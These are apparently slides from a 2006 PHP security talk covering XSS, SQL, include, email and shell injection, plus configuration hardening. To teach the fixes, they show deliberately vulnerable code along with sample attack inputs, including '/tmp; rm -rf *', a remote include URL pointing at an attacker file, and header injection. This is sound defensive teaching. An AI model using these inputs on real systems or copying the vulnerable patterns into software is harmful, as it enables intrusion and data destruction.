

# PHP Security Primer

Harry Fuecks

php zürich

<http://zh.phpug.ch/meetings/20060314>

# Tonights Mission

- Generate some paranoia
- Some specific examples (to fix)
- Get thinking about security
- Where to get to find out more

# The PHP Security Paradox

- PHP is easy to learn
- Web servers are exposed world wide
- Long learning curve to write secure PHP
- Arguable: PHP is designed for scaling by default...  
...not security by default

Paranoia

# Why Attacks Happen

- Grab assets (e.g. steal customer information)
- Steal service (e.g. use web server to send spam)
- Recognition
- Thrill
- Mistake

# Injection Attacks

- “Unexpected” input aimed at arbitrary execution
- Some examples
  - XSS: cross site scripting (Javascript)
  - SQL Injection
  - PHP code injection
  - Email injection
  - Shell execution injection

# XSS : Javascript Injection [1]

- Targets web browsers as execution platform
- Common risk: expose secured session information to 3<sup>rd</sup> party web server
- Much more potential for specific bad e.g. myspace worm
  - [http://www.betanews.com/article/CrossSite\\_Scripting\\_Worm\\_Hits\\_MySpace/1129232391](http://www.betanews.com/article/CrossSite_Scripting_Worm_Hits_MySpace/1129232391)
  - <http://namb.la/popular/>

# XSS: Javascript Injection [2]

- PHP an XSS:
  - Always clean input
    - safest solution: use alternatives to HTML (e.g. BBCode instead)
      - ...and double check URLs to prevent;  
`href=" javascript:doSomething( ) "`
    - live more dangerously: [http://blog.bitflux.ch/wiki/XSS\\_Prevention](http://blog.bitflux.ch/wiki/XSS_Prevention)
      - [http://pear.php.net/package/HTML\\_Safe](http://pear.php.net/package/HTML_Safe)
      - <http://pecl.php.net/filter>
  - Always escape output
    - <http://www.php.net/htmlspecialchars>



# Spot the XSS

```
<form action="<?php echo $_SERVER['PHP_SELF']; ?>">  
  <input type="hidden" name="submitted" value="1" />  
  <input type="submit" value="Submit!" />  
</form>
```

# Spot the XSS

```
<form action="<?php echo $_SERVER['PHP_SELF']; ?>">  
  <input type="hidden" name="submitted" value="1" />  
  <input type="submit" value="Submit!" />  
</form>
```

```
# Url http://mysite.ch/index.php/Injected
```

```
# HTML output
```

```
<form action="/index.php/Injected">  
  <input type="hidden" name="submitted" value="1" />  
  <input type="submit" value="Submit!" />  
</form>
```

```
# A fix
```

```
<form action="<?php echo htmlspecialchars($_SERVER['PHP_SELF']); ?>">  
  <input type="hidden" name="submitted" value="1" />  
  <input type="submit" value="Submit!" />  
</form>
```

<http://blog.phpdoc.info/archives/13-XSS-Woes.html>

# SQL Injection

- Targets database SQL “engine” for arbitrary query execution
- Use your database API's escaping or binding facilities
  - [http://www.php.net/mysql\\_real\\_escape\\_string](http://www.php.net/mysql_real_escape_string)
  - <http://www.php.net/pdostatement-bindparam>

```
$sql = "SELECT COUNT(*) FROM users where id=".$_POST['id'];
```

```
# What if...
```

```
$_POST['id'] = '123 OR 1=1';
```

# PHP Code Injection

- Eval is evil: simplest solution – don't use these...
  - <http://www.php.net/eval>
  - [http://www.php.net/create\\_function](http://www.php.net/create_function)

# Include Gotcha

```
<?php
# index.php - classic mistake
if ( $_GET['page'] ) {
    include($_GET['page']);
} else {
    include("home.php");
}
?>
```

<http://mysite.ch/index.php?page=.%2Finstall%2Fsetup.php>

<http://mysite.ch/index.php?page=http%3A%2F%2Fhack.net%2Fattack.txt>

# Email Injection

```
bool mail ( string to, string subject, string message [, string additional_headers [, string additional_parameters]] )
```

```
<?php
$from=$_POST['sender'];
mail('me@mail.ch','Testing','Msg Body',"From: $from\n");
?>
```

```
# What if...
$_POST['sender'] = "From: joe@bluewin.ch\nCc: spamvictim@gmx.net"
```

[http://securephp.damonkohler.com/index.php/Email\\_Injection](http://securephp.damonkohler.com/index.php/Email_Injection)

- Filter out \n
- Use PEAR::Mail - <http://pear.php.net/package/Mail>

# Shell Command Injection

- <http://www.php.net/language.operators.execution>
- <http://www.php.net/manual/en/ref.exec.php>
- Defenses
  - <http://www.php.net/escapeshellarg>
  - <http://www.php.net/escapeshellcmd>
  - Strict validation

```
$listing = `ls -al $dir`;
```

```
# What if
```

```
$dir = '/tmp; rm -rf *';
```

# Shared Hosting

- Many users one root = very little security
  - Session files in /tmp ?
  - Who can read config.php (e.g. db user / pass)?
  - Extreme care with filesystem permissions required
  - Denial of service
  - etc.



Strategy

# Change your mindset

- Think from the outside in
  - Try the unexpected:  
<http://mysite.ch/index.php?view=.%2Fadmin%2Fdeleteusers.php>
  - Web browsers aren't the only web clients
    - [http://pear.php.net/package/HTTP\\_Client/](http://pear.php.net/package/HTTP_Client/)
    - <http://www.php.net/curl>
    - <http://search.cpan.org/~gaas/libwww-perl-5.800/lib/LWP.pm>
    - <http://greasemonkey.mozdev.org/>
  - Never trust anything you get from “out there”...  
...and know what's coming from “out there”

# Using Third Party Code

- Open Source doesn't guarantee security
- Research
  - Google: keywords exploit, vulnerability, security etc.
  - via Bugtraq: <http://marc.theaimsgroup.com/?l=bugtraq>
  - Get (trustworthy) opinions
  - <http://phpxref.sourceforge.net>
- Change the default password!
- Stay up to date

# Input Filtering

- Strip out or disable (escape) all the bad stuff
  - Black listing: <http://en.wikipedia.org/wiki/Blacklist>
  - Hard to do – lots of things to black list
  - Filter input or output?
- Need tools / functions / libraries for example...
  - [http://www.php.net/mysql\\_real\\_escape\\_string](http://www.php.net/mysql_real_escape_string)
  - [http://www.php.net/strip\\_tags](http://www.php.net/strip_tags)
  - <http://pecl.php.net/package/filter> (PHP extension)
  - <http://www.modsecurity.org>

# Input Validation

- Check input matches rule
  - White listing: <http://en.wikipedia.org/wiki/Whitelist>
  - Easy to define small range of allowed input
- For simple things: [http://www.php.net/in\\_array](http://www.php.net/in_array)
- In practice, you *need* regular expressions
  - <http://www.php.net/pcre>
  - <http://www.tote-taste.de/X-Project/regex/printable.html>
  - <http://pear.php.net/package/Validate>
- <http://www.php.net/ctype> - helps sometimes

# Input Validation vs. Filtering

- Validation easier, typically performs better
- Filtering nice to users, validation nice to programmers
  - Can be very hard to filter out everything
  - <http://www.procata.com/blog/archives/2005/03/31/the-usability-of-input-filtering/>
- In practice you need both
  - A login user name needs strict validation
    - It may also need filtering, depending on the validation rule
  - A blog comment needs filtering
    - It may also need validation (e.g. max length)

# Structure Your Code

- Is it easy to see input comes from?
- Is it easy to see what code generates output?
- Checklist: for each request
  - Filtering
  - Validation
  - The meat of your application
  - Escape Output

# Write your own web browser

```
<?php
$fp = fsockopen('www.php.net', 80, $errno, $errstr, 30);

if (!$fp) {
    die("$errstr ($errno)<br />\n");
}

$request = "GET / HTTP/1.0\r\n";
$request .= "Host: www.php.net\r\n";
$request .= "Connection: Close\r\n\r\n";

fwrite($fp, $request);

$response = '';
while (!feof($fp)) {
    $response .= fgets($fp, 128);
}
fclose($fp);

echo '<pre>'.htmlspecialchars($response).'
```



Tactics

# PHP Configuration [1]

- Switch Register Globals off
  - [http://www.php.net/manual/en/security\\_globals.php](http://www.php.net/manual/en/security_globals.php)
- Set in either `php.ini` or `.htaccess`

```
<?php
# Test for register_globals
print "Register globals is ";
print
(ini_get('register_globals')==1)
? 'on' : 'off';
print "<br>\n";
?>
```

```
# .htaccess
php_flag "register_globals" "0"
```

# Guard Valuable information

- Error messages

- `Warning: fopen(/tmp/foo) [function.fopen]: failed to open stream: No such file or directory in /home/harryf/public_html/example.php on line 23`

- Caution below document root

- `/home/harryf/public_html/inc/config.php`

# PHP Configuration [2]

- Don't display errors on a live site
- In particular, don't display HTML errors live (XSS)

```
# .htaccess
php_flag "display_errors" "0"
php_flag "html_errors" "0"

# If you want to track errors (good idea)
# ... but watch the disk use
php_value "error_log" "/home/harryf/errors.log"
php_flag "log_errors" "1"
php_flag "ignore_repeated_errors" "1"
```

# Switch on Error Notices

- Always develop with PHP error notices or  
...don't write code which produces error notices

```
<?php  
error_reporting(E_ALL);  
?>
```

```
# php.ini  
error_reporting = E_ALL
```

```
# .htaccess  
php_value "error_reporting" "2047"
```

# Forms

- Use a form processing library
  - [http://pear.php.net/package/HTML\\_Quickform](http://pear.php.net/package/HTML_Quickform)
  - <http://php-tools.de/site.php?file=patForms/>

# Authentication / Access Control

- Get help (don't roll your own unless you're really sure)
  - PEAR::Auth - <http://pear.php.net/package/Auth/>
    - authentication only
  - PEAR::LiveUser <http://pear.php.net/package/LiveUser/>
    - authentication and access control
  - patUser <http://www.php-tools.net/site.php?file=/patUser>
    - authentication and access control
  - phpGACL <http://phpgacl.sourceforge.net/>
    - access control

# Resources



# Online

- Subscribe here: <http://www.phparch.com/phpsec/>
- The manual
  - <http://www.php.net/manual/en/security.php>
- Links to lots more...
  - [http://www.phpwact.org/security/web\\_application\\_security](http://www.phpwact.org/security/web_application_security)

# In Print

- Apache Security
  - Ivan Ristic, pub: O'Reilly, ISBN: 0596007248
- PHP-Sicherheit
  - Christopher Kunz, Peter Prochaska, pub: dpunkt, ISBN: 3898643697
- Essential PHP Security
  - Chris Shiflett, pub: O'Reilly, ISBN: 059600656X
- phplarchitect's Guide to PHP Security
  - Ilia Alshanetsky, pub: Marco Tabini & Associates, ISBN: 0973862106
- Pro PHP Security
  - Chris Snyder, Michael Southwell, pub: Apress, ISBN: 1590595084